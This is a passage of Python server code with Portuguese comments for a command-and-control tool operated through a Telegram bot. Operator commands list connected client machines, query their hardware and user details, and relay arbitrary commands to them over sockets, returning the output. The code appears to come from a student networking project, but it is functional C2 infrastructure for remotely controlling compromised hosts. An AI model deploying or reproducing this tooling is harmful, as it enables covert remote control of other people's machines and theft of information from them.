print("Erro: outra instância do servidor já está em execução!")
return
except:
arquivo_trava = open(f"{constantes.DIRETORIO_ATUAL}/servidor.lock", 'w')
arquivo_trava.write(f"{os.getpid()}\n")
arquivo_trava.close()
# Iniciando thread para inicio e gerenciamento do servidor
servidor = threading.Thread(target=gerenciar_servidor)
servidor.start()
# Se o programa poder continuar, apresenta-se informações do bot
if (continuar):
print("Para acessar o bot, acesse @progredes_c2_bot no Telegram ou clique no link direto: https://t.me/progredes_c2_bot")
print("Para encerrar o bot, pressione Ctrl-c\n")
# Loop de funcionamento do bot
latest_update_id = 0
while (continuar):
# Obtendo última atualização e mensagem e, em caso de exceção,
# tenta-se novamente
try:
latest_update_id, latest_message = requisicoes.obter_atualizacoes(latest_update_id)
except KeyboardInterrupt:
parar_servidor()
continue
except:
continue
# Se não houver novas mensagens, volta-se ao início
if (latest_message == None):
continue
# Salvando última atualização
requisicoes.salvar_update_id(latest_update_id)
# Lendo ID do chat e da mensagem e montando dicionário de retorno
chat_id = latest_message["message"]["chat"]["id"]
message_id = latest_message["message"]["message_id"]
retorno = {
"chat_id": chat_id,
"reply_to_message_id": message_id,
"parse_mode": "Markdown",
"text": ''
}
# Se não há texto na mensagem recebida, responde-se à mensagem
if (not "text" in latest_message["message"]):
requisicoes.responder_mensagem(retorno)
continue
# Analisando se mensagem recebida é válida e respondendo com ação
# correspondente
message_text = latest_message["message"]["text"]
tokens = message_text.split()
if (len(tokens) == 1 and (tokens[0] == "./c2" or tokens[0] == "/start")):
retorno["text"] = "./c2 -h"
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[0] != "./c2"):
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-h"):
retorno["text"] = "./c2 -h"
requisicoes.responder_mensagem(retorno)
continue
# Analisando conteúdo da mensagem recebida e respondendo com sua
# ação correspondente
if (len(clientes) < 1 and message_text != "./c2 -q 0"):
retorno["text"] = f"Não há clientes conectados!"
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-l"):
retorno["text"] = funcoes.obter_clientes(clientes)
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-s"):
retorno["text"] = "./c2 -s"
requisicoes.responder_mensagem(retorno)
continue
# Analisando se mensagem possui mais ou menos de três argumentos
# e, se tiver três, se o terceiro é um número inteiro
if (len(tokens) < 3 or len(tokens) > 3):
requisicoes.responder_mensagem(retorno)
continue
elif (not funcoes.ehinteiro(tokens[2])):
requisicoes.responder_mensagem(retorno)
continue
# Obtendo índice do cliente e, se o comando for o de "parar" e o
# índice for -1, para-se o servidor. Se não, se o índice for
# inválido, responde-se com aviso
index = int(tokens[2]) - 1
if (tokens[1] == "-q" and index == -1):
retorno["text"] = f"Encerrando servidor em {TIMEOUT} segundos..."
requisicoes.responder_mensagem(retorno)
parar_servidor()
continue
elif (index < 0 or index >= len(clientes)):
retorno["text"] = f"""ID inválido!
Digite `./c2 -l` para obter a lista de IDs disponíveis"""
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-d"):
retorno["text"] = funcoes.obter_hardware(clientes, index)
requisicoes.responder_mensagem(retorno)
continue
elif (tokens[1] == "-u"):
retorno["text"] = funcoes.obter_usuario(clientes, index)
requisicoes.responder_mensagem(retorno)
continue
# Testando se o cliente está disponível para receber mensagem e,
# se o mesmo deixar de existir, informa-se desconexão do mesmo
aguardar_verificacao(index)
if (not cliente_existe_livre(index)):
informar_desconectado(index, retorno)
continue
# Travando transmissões para o cliente e tentando enviar mensagem
# obtida ao cliente e, em caso de exceção, destrava-se as
# transmissões do cliente e informa-se desconexão do mesmo
clientes[index][1].acquire()
try:
clientes[index][0][0].send(message_text.encode(CHARSET))
except:
informar_desconectado(index, retorno)
continue
# Obtendo resposta do cliente e, se o tamanho da resposta for
# menor que 1, informa-se desconexão do cliente
retorno["text"] = receber_dados(index)
if (len(retorno["text"]) < 1):
informar_desconectado(index, retorno)
continue
# Destravando as transmissões do cliente e respondendo mensagem
# com resposta do cliente
clientes[index][1].release()
requisicoes.responder_mensagem(retorno)
try:
funcoes_servidor.servidor()
except:
print("\nSaindo...")
# Removendo trava de execução
funcoes.remover_arquivo("servidor.lock")
return
# Entrando na função main e, em caso de exceção, saindo